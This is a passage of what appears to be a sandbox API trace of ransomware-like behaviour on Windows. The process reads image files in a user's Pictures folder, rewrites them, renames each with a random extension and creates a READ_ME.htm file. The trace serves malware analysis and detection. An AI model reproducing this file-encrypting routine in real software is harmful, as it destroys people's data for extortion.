hTemplateFile=0x0) returned 0x1d0 [0157.887] GetFileType (hFile=0x1d0) returned 0x1 [0157.887] SetErrorMode (uMode=0x0) returned 0x1 [0157.887] GetFileType (hFile=0x1d0) returned 0x1 [0157.887] WriteFile (in: hFile=0x1d0, lpBuffer=0x28fecd8*, nNumberOfBytesToWrite=0xd9f0, lpNumberOfBytesWritten=0x21d318, lpOverlapped=0x0 | out: lpBuffer=0x28fecd8*, lpNumberOfBytesWritten=0x21d318*=0xd9f0, lpOverlapped=0x0) returned 1 [0157.891] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\L83NExETrGpHPh2QM.gif", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\L83NExETrGpHPh2QM.gif", lpFilePart=0x0) returned 0x5f [0157.892] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\L83NExETrGpHPh2QM.gif.6yqw0u", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\L83NExETrGpHPh2QM.gif.6yqw0u", lpFilePart=0x0) returned 0x66 [0157.892] SetErrorMode (uMode=0x1) returned 0x0 [0157.892] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\L83NExETrGpHPh2QM.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\l83nexetrgphph2qm.gif"), fInfoLevelId=0x0, lpFileInformation=0x21d240 | out: lpFileInformation=0x21d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf42d0, ftCreationTime.dwHighDateTime=0x1d8b2f8, ftLastAccessTime.dwLowDateTime=0x75a1d60, ftLastAccessTime.dwHighDateTime=0x1d8bcad, ftLastWriteTime.dwLowDateTime=0x5a958ac0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xd9f0)) returned 1 [0157.892] SetErrorMode (uMode=0x0) returned 0x1 [0157.892] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\L83NExETrGpHPh2QM.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\l83nexetrgphph2qm.gif"), lpNewFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\L83NExETrGpHPh2QM.gif.6yqw0u" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\l83nexetrgphph2qm.gif.6yqw0u")) returned 1 [0157.901] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\rJ_4KfxlsLigwMbe6Uh9.gif", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\rJ_4KfxlsLigwMbe6Uh9.gif", lpFilePart=0x0) returned 0x62 [0157.902] SetErrorMode (uMode=0x1) returned 0x0 [0157.902] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\rJ_4KfxlsLigwMbe6Uh9.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\rj_4kfxlsligwmbe6uh9.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0157.902] GetFileType (hFile=0x1d0) returned 0x1 [0157.902] SetErrorMode (uMode=0x0) returned 0x1 [0157.902] GetFileType (hFile=0x1d0) returned 0x1 [0157.905] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0x18b2b [0157.998] ReadFile (in: hFile=0x1d0, lpBuffer=0x129ff778, nNumberOfBytesToRead=0x18b2b, lpNumberOfBytesRead=0x21d298, lpOverlapped=0x0 | out: lpBuffer=0x129ff778*, lpNumberOfBytesRead=0x21d298*=0x18b2b, lpOverlapped=0x0) returned 1 [0158.091] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\rJ_4KfxlsLigwMbe6Uh9.gif", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\rJ_4KfxlsLigwMbe6Uh9.gif", lpFilePart=0x0) returned 0x62 [0158.092] SetErrorMode (uMode=0x1) returned 0x0 [0158.092] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\rJ_4KfxlsLigwMbe6Uh9.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\rj_4kfxlsligwmbe6uh9.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0158.097] GetFileType (hFile=0x1d0) returned 0x1 [0158.098] SetErrorMode (uMode=0x0) returned 0x1 [0158.098] GetFileType (hFile=0x1d0) returned 0x1 [0158.098] WriteFile (in: hFile=0x1d0, lpBuffer=0x12a7afe8*, nNumberOfBytesToWrite=0x18b30, lpNumberOfBytesWritten=0x21d318, lpOverlapped=0x0 | out: lpBuffer=0x12a7afe8*, lpNumberOfBytesWritten=0x21d318*=0x18b30, lpOverlapped=0x0) returned 1 [0158.129] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\rJ_4KfxlsLigwMbe6Uh9.gif", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\rJ_4KfxlsLigwMbe6Uh9.gif", lpFilePart=0x0) returned 0x62 [0158.129] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\rJ_4KfxlsLigwMbe6Uh9.gif.k8sn68", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\rJ_4KfxlsLigwMbe6Uh9.gif.k8sn68", lpFilePart=0x0) returned 0x69 [0158.129] SetErrorMode (uMode=0x1) returned 0x0 [0158.129] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\rJ_4KfxlsLigwMbe6Uh9.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\rj_4kfxlsligwmbe6uh9.gif"), fInfoLevelId=0x0, lpFileInformation=0x21d240 | out: lpFileInformation=0x21d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cab02d0, ftCreationTime.dwHighDateTime=0x1d8bff6, ftLastAccessTime.dwLowDateTime=0xb66dc630, ftLastAccessTime.dwHighDateTime=0x1d8c04a, ftLastWriteTime.dwLowDateTime=0x5ab93f60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x18b30)) returned 1 [0158.130] SetErrorMode (uMode=0x0) returned 0x1 [0158.130] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\rJ_4KfxlsLigwMbe6Uh9.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\rj_4kfxlsligwmbe6uh9.gif"), lpNewFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\rJ_4KfxlsLigwMbe6Uh9.gif.k8sn68" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\rj_4kfxlsligwmbe6uh9.gif.k8sn68")) returned 1 [0158.131] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\V0P8lTHUxZmOxHE.png", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\V0P8lTHUxZmOxHE.png", lpFilePart=0x0) returned 0x5d [0158.131] SetErrorMode (uMode=0x1) returned 0x0 [0158.131] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\V0P8lTHUxZmOxHE.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\v0p8lthuxzmoxhe.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0158.132] GetFileType (hFile=0x1d0) returned 0x1 [0158.132] SetErrorMode (uMode=0x0) returned 0x1 [0158.132] GetFileType (hFile=0x1d0) returned 0x1 [0158.132] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0x56b3 [0158.132] ReadFile (in: hFile=0x1d0, lpBuffer=0x29ee6a0, nNumberOfBytesToRead=0x56b3, lpNumberOfBytesRead=0x21d298, lpOverlapped=0x0 | out: lpBuffer=0x29ee6a0*, lpNumberOfBytesRead=0x21d298*=0x56b3, lpOverlapped=0x0) returned 1 [0158.236] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\V0P8lTHUxZmOxHE.png", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\V0P8lTHUxZmOxHE.png", lpFilePart=0x0) returned 0x5d [0158.236] SetErrorMode (uMode=0x1) returned 0x0 [0158.236] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\V0P8lTHUxZmOxHE.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\v0p8lthuxzmoxhe.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0158.238] GetFileType (hFile=0x1d0) returned 0x1 [0158.238] SetErrorMode (uMode=0x0) returned 0x1 [0158.238] GetFileType (hFile=0x1d0) returned 0x1 [0158.238] WriteFile (in: hFile=0x1d0, lpBuffer=0x28e1030*, nNumberOfBytesToWrite=0x56c0, lpNumberOfBytesWritten=0x21d318, lpOverlapped=0x0 | out: lpBuffer=0x28e1030*, lpNumberOfBytesWritten=0x21d318*=0x56c0, lpOverlapped=0x0) returned 1 [0158.240] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\V0P8lTHUxZmOxHE.png", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\V0P8lTHUxZmOxHE.png", lpFilePart=0x0) returned 0x5d [0158.240] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\V0P8lTHUxZmOxHE.png.i8zwch", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\V0P8lTHUxZmOxHE.png.i8zwch", lpFilePart=0x0) returned 0x64 [0158.240] SetErrorMode (uMode=0x1) returned 0x0 [0158.240] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\V0P8lTHUxZmOxHE.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\v0p8lthuxzmoxhe.png"), fInfoLevelId=0x0, lpFileInformation=0x21d240 | out: lpFileInformation=0x21d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7d38140, ftCreationTime.dwHighDateTime=0x1d8bbc3, ftLastAccessTime.dwLowDateTime=0xd36279e0, ftLastAccessTime.dwHighDateTime=0x1d8bd96, ftLastWriteTime.dwLowDateTime=0x5ac9e900, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x56c0)) returned 1 [0158.241] SetErrorMode (uMode=0x0) returned 0x1 [0158.241] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\V0P8lTHUxZmOxHE.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\v0p8lthuxzmoxhe.png"), lpNewFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\V0P8lTHUxZmOxHE.png.i8zwch" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\v0p8lthuxzmoxhe.png.i8zwch")) returned 1 [0158.242] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\YkFaHc49kE 0.jpg", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\YkFaHc49kE 0.jpg", lpFilePart=0x0) returned 0x5a [0158.242] SetErrorMode (uMode=0x1) returned 0x0 [0158.242] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\YkFaHc49kE 0.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\ykfahc49ke 0.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0158.242] GetFileType (hFile=0x1d0) returned 0x1 [0158.242] SetErrorMode (uMode=0x0) returned 0x1 [0158.242] GetFileType (hFile=0x1d0) returned 0x1 [0158.242] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0x16dbb [0158.243] ReadFile (in: hFile=0x1d0, lpBuffer=0x12a93b48, nNumberOfBytesToRead=0x16dbb, lpNumberOfBytesRead=0x21d298, lpOverlapped=0x0 | out: lpBuffer=0x12a93b48*, lpNumberOfBytesRead=0x21d298*=0x16dbb, lpOverlapped=0x0) returned 1 [0158.296] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\YkFaHc49kE 0.jpg", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\YkFaHc49kE 0.jpg", lpFilePart=0x0) returned 0x5a [0158.296] SetErrorMode (uMode=0x1) returned 0x0 [0158.296] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\YkFaHc49kE 0.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\ykfahc49ke 0.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0158.301] GetFileType (hFile=0x1d0) returned 0x1 [0158.301] SetErrorMode (uMode=0x0) returned 0x1 [0158.301] GetFileType (hFile=0x1d0) returned 0x1 [0158.301] WriteFile (in: hFile=0x1d0, lpBuffer=0x12805510*, nNumberOfBytesToWrite=0x16dc0, lpNumberOfBytesWritten=0x21d318, lpOverlapped=0x0 | out: lpBuffer=0x12805510*, lpNumberOfBytesWritten=0x21d318*=0x16dc0, lpOverlapped=0x0) returned 1 [0158.304] CloseHandle (hObject=0x1d0) returned 1 [0158.306] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\YkFaHc49kE 0.jpg", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\YkFaHc49kE 0.jpg", lpFilePart=0x0) returned 0x5a [0158.307] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\YkFaHc49kE 0.jpg.web6cn", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\YkFaHc49kE 0.jpg.web6cn", lpFilePart=0x0) returned 0x61 [0158.307] SetErrorMode (uMode=0x1) returned 0x0 [0158.307] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\YkFaHc49kE 0.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\ykfahc49ke 0.jpg"), fInfoLevelId=0x0, lpFileInformation=0x21d240 | out: lpFileInformation=0x21d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc34bf60, ftCreationTime.dwHighDateTime=0x1d8b5d3, ftLastAccessTime.dwLowDateTime=0xb1176080, ftLastAccessTime.dwHighDateTime=0x1d8b639, ftLastWriteTime.dwLowDateTime=0x5ad36e80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x16dc0)) returned 1 [0158.307] SetErrorMode (uMode=0x0) returned 0x1 [0158.307] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\YkFaHc49kE 0.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\ykfahc49ke 0.jpg"), lpNewFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\YkFaHc49kE 0.jpg.web6cn" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\ykfahc49ke 0.jpg.web6cn")) returned 1 [0158.308] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\_kG8I b.gif", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\_kG8I b.gif", lpFilePart=0x0) returned 0x55 [0158.308] SetErrorMode (uMode=0x1) returned 0x0 [0158.309] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\_kG8I b.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\_kg8i b.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0158.309] GetFileType (hFile=0x1d0) returned 0x1 [0158.309] SetErrorMode (uMode=0x0) returned 0x1 [0158.309] GetFileType (hFile=0x1d0) returned 0x1 [0158.309] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0x4d59 [0158.309] ReadFile (in: hFile=0x1d0, lpBuffer=0x28146f0, nNumberOfBytesToRead=0x4d59, lpNumberOfBytesRead=0x21d298, lpOverlapped=0x0 | out: lpBuffer=0x28146f0*, lpNumberOfBytesRead=0x21d298*=0x4d59, lpOverlapped=0x0) returned 1 [0158.310] CloseHandle (hObject=0x1d0) returned 1 [0158.383] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\_kG8I b.gif", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\_kG8I b.gif", lpFilePart=0x0) returned 0x55 [0158.384] SetErrorMode (uMode=0x1) returned 0x0 [0158.384] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\_kG8I b.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\_kg8i b.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0158.385] GetFileType (hFile=0x1d0) returned 0x1 [0158.385] SetErrorMode (uMode=0x0) returned 0x1 [0158.385] GetFileType (hFile=0x1d0) returned 0x1 [0158.386] WriteFile (in: hFile=0x1d0, lpBuffer=0x290c7f0*, nNumberOfBytesToWrite=0x4d60, lpNumberOfBytesWritten=0x21d318, lpOverlapped=0x0 | out: lpBuffer=0x290c7f0*, lpNumberOfBytesWritten=0x21d318*=0x4d60, lpOverlapped=0x0) returned 1 [0158.387] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\_kG8I b.gif", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\_kG8I b.gif", lpFilePart=0x0) returned 0x55 [0158.388] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\_kG8I b.gif.nauskt", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\_kG8I b.gif.nauskt", lpFilePart=0x0) returned 0x5c [0158.388] SetErrorMode (uMode=0x1) returned 0x0 [0158.388] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\_kG8I b.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\_kg8i b.gif"), fInfoLevelId=0x0, lpFileInformation=0x21d240 | out: lpFileInformation=0x21d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7e9efd0, ftCreationTime.dwHighDateTime=0x1d8c0c8, ftLastAccessTime.dwLowDateTime=0xc15fc330, ftLastAccessTime.dwHighDateTime=0x1d8c12c, ftLastWriteTime.dwLowDateTime=0x5adf5560, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x4d60)) returned 1 [0158.388] SetErrorMode (uMode=0x0) returned 0x1 [0158.388] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\_kG8I b.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\_kg8i b.gif"), lpNewFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\_kG8I b.gif.nauskt" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\_kg8i b.gif.nauskt")) returned 1 [0158.389] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\READ_ME.htm", lpFilePart=0x0) returned 0x55 [0158.389] SetErrorMode (uMode=0x1) returned 0x0 [0158.390] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\t8c4s QgxZhGJp90o\\G3cproBxiH\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\t8c4s qgxzhgjp90o\\g3cprobxih\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0158.390] GetFileType 